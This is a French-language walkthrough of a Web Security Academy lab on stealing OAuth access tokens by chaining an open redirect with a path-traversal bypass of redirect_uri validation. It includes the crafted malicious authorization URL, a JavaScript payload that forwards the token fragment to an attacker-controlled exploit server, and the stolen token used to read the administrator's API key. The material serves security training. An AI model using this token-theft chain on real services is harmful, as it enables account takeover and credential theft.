Vol de jeton OAuth via une redirection ouverte

htStealing OAuth access tokens via an open redirect

Lab: Stealing OAuth access tokens via an open redirect | Web Security AcademyWebSecAcademy

Objectif du laboratoire

Ce laboratoire exploite une mauvaise validation du paramètre redirect_uri par le service OAuth. L’objectif est d’utiliser une redirection ouverte présente sur l’application cliente pour exfiltrer le jeton d’accès OAuth de l’utilisateur administrateur, puis s’en servir pour récupérer sa clé API.

⚠️ Il n’est pas possible d’obtenir la clé API de l’admin simplement en se connectant à son compte via l’application cliente.

Identification de la redirection ouverte

Une redirection ouverte est présente dans la fonctionnalité de navigation entre articles du blog :

https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6

En remplaçant le paramètre path par une URL externe, la redirection est acceptée :

https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com

Le navigateur est bien redirigé, confirmant la vulnérabilité.

Analyse du flux OAuth

Lors de l’authentification via OAuth, la requête suivante est observée :

GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email

Le service OAuth refuse un redirect_uri totalement externe, mais il accepte une URL interne modifiée avec une traversée de chemin.

https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com

Contournement de la validation du redirect_uri

En utilisant ../ pour sortir du chemin /oauth-callback, il est possible de chaîner la redirection ouverte :

GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email 

Cette URL est acceptée comme redirect_uri par le fournisseur OAuth.

Construction de l’URL malveillante OAuth

L’URL finale envoyée à la victime est :

https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email

Problème du fragment (#)

Le fragment d’URL n’est jamais envoyé au serveur lors d’une requête HTTP.

Il est donc nécessaire d’utiliser du JavaScript côté client pour capturer le jeton.

Capture du jeton avec JavaScript

Le script suivant est hébergé sur l’Exploit Server et envoyé à l’admin :

<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>

• Si aucun fragment n’est présent, la victime est redirigée vers l’OAuth.

• Si le fragment existe, le jeton est retransmis au serveur via la query string.

Exploitation du jeton OAuth

Le jeton volé permet d’interroger l’endpoint /me du fournisseur OAuth :

GET /me HTTP/2

Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net

Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ

La réponse contient les informations du compte administrateur, y compris la clé API :

{              
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"[email protected]",
"email_verified":true
}